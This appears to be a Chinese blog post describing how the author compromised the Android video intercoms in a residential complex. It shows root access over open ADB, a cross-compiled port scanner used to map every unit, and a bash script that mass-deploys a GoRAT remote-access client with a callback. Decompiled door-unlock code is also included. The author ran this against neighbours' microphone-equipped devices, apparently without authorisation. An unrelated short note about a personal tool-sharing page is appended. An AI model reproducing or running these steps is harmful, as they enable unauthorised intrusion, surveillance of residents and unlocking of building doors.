2021年8月

-w1274

前言

看了一眼小区用的可视对讲,是一个小的平板,后面可以插网线,开机之后发现明显就是一个安卓套壳;
该设备的主要用途是用于开楼下单元门、与其他业主通讯、控制家里的智能家居;因为是精装房,所以也就是所有住户家里都会装这么个东西,而且这玩意是带麦克风的,如果一旦沦陷,后果很严重。
针对这种小区对讲的渗透思路还是比较简单的,要么找个路由插上可视对讲的网线,
对这个小区网络进行扫描然后在找弱点,要么把这个设备pwn下来,接着往下打。

ADB

看到安卓设备,第一反应就是扫一下ADB是不是开了,默认端口5555
Pasted image 20210803115747

果然开了,下面就直接连上去

adb connect 192.168.50.138:5555
# 切换到root
adb root
adb shell

Pasted image 20210803115849

看一下正在运行的UI是属于哪个程序

adb shell dumpsys activity top | grep ACTIVITY

Pasted image 20210803115933

然后把对应的apk先下回来留档案。
一般都在/data/app目录下
Pasted image 20210803120216

下载到本地

adb pull /data/app/xxx/xxx.apk smart.apk

沦陷

看了眼netmask,

inet addr:192.168.14.10  Bcast:192.168.15.255  Mask:255.255.248.0

计算出可用地址空间是192.168.6.1-192.168.15.255
因为设备是arm的,用go写一个端口扫描,编译成arm版本传上去进行扫描,

# 编译
GOOS=linux GOARCH=arm go build portscan
# 上传
adb push portscan /mnt/tmp

Pasted image 20210803120623

扫描得到小区所有正在使用的可视对奖的设备,剩下就是开个代理或插根网线批量上马了。

扩大战果

把gorat编译一份arm版本

#arm
CGO_ENABLED=0 GOOS=linux GOARCH=arm go build -o ../goratServer/module/template/client_linux_arm -ldflags "-s -w" linux.go

在生成一个马上线到我的可视对讲设备,因为这个设备默认是不联外网的,我是自己手动链接的wifi,所以通过内网上线到我的设备

Pasted image 20210803121917

adb connect host
adb shell
adb shell 'mkdir /mnt/tmp/;chmod 777 /mnt/tmp/'
adb push client /mnt/tmp/
adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client'

上线成功
Pasted image 20210803124148

然后在通过GoRat横向上线
Pasted image 20210803124254

Pasted image 20210803124339

上线命令改成

adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'

即可。
这样就可以通过我自己的对讲设备作为中继,上线到我家庭内网了。
写个自动传马的bash

adb kill-server
adb connect $1
adb root;adb shell 'mkdir /data/mnt/;chmod 777 /data/tmp/'; adb push client_linux_arm /mnt/tmp/client;adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'

随便上线几台机器测试一下

Pasted image 20210803131853

Pasted image 20210803131911

智能家居

之前第一步就把可视对讲的apk拉到本地了,用jadx反编译一下
所有的方法基本都在这个package下面
Pasted image 20210803140449

比如说开锁的代码如下


    private class monitorLock implements Runnable {
        private monitorLock() {
        }

        public void run() {
            if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
                new Message();
                MonitorActivity.this.mInterCommClient.InterMonitorUnlock();
            }
        }
    }

    private class monitorSnap implements Runnable {
        private monitorSnap() {
        }

        public void run() {
            if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
                MonitorActivity monitorActivity = MonitorActivity.this;
                monitorActivity.mSnapPath = monitorActivity.mInterCommClient.InterSnap(2);
            }
        }
    }

简单了解其实就是通过InterCommClient进行串口通讯,发送指定格式的消息即会执行对应的动作,只要我们用他的sdk在重写一个程序即可,这部分就留着下次在折腾了。

后记

突然想起来,有邻居曾经在群里反应过说可视对讲大半夜会自动呼叫管理员或发出莫名其妙的声音。。这玩意甚至是自带麦克风的。。果断断电保平安。

个人知识库建立的一点思考之工具分享

比较琐碎,想到什么说什么,没有对内容做太多的构思。

花了一下午时间把github star的所有项目进行了标签分类,顺便在不安全上开了一个新的页面,就叫做工具分享

我更愿意把他当作一个自己的gist/snippet,用于记录比较有价值的项目,本来不安全首页中的文章在19年,20年之前基本全都是我阅读过觉得比较有价值的文章,然后才会进行的一个归档;

但是随着事情越来越多,每天不像以前有那么多时间都可以去学习新的东西;才引入了自动采集,这样在每天闲的时候可以看一下今天有没有什么有趣的东西,哪怕就算十天半个月不看也会有一个留档,事后也可以在翻出来看看。

后面也加入阅读量统计,然后自动生成今日热贴,本来是想推送到公众号的,但是实在是没有养成习惯,就放弃了,虽然现在每天22点就自动生成热贴并上传到公众号的后台,但是依然没能坚持下去。

-w1370
-w1319

已经积压了相当多一部分帖子了。

扯远了,说回不安全工具分享这个功能上,本来正在使用obsidian进行知识库的建立,成体系或可以成一定篇幅的文章、笔记到相对容易进行归类,唯独工具这块,经常会看到很多有价值的东西,但是有不可能每一个都去写一个新的帖子

-w1541

虽然也做了一些尝试,但是实在是累,与其这样不如简单一点,就以weibo/twitter这种形式进行一个笔记,在通过tag进行分类,最后花了10分钟在不安全上加了一个新的页面;但是光整理我star过的工具就花了整整一个下午。。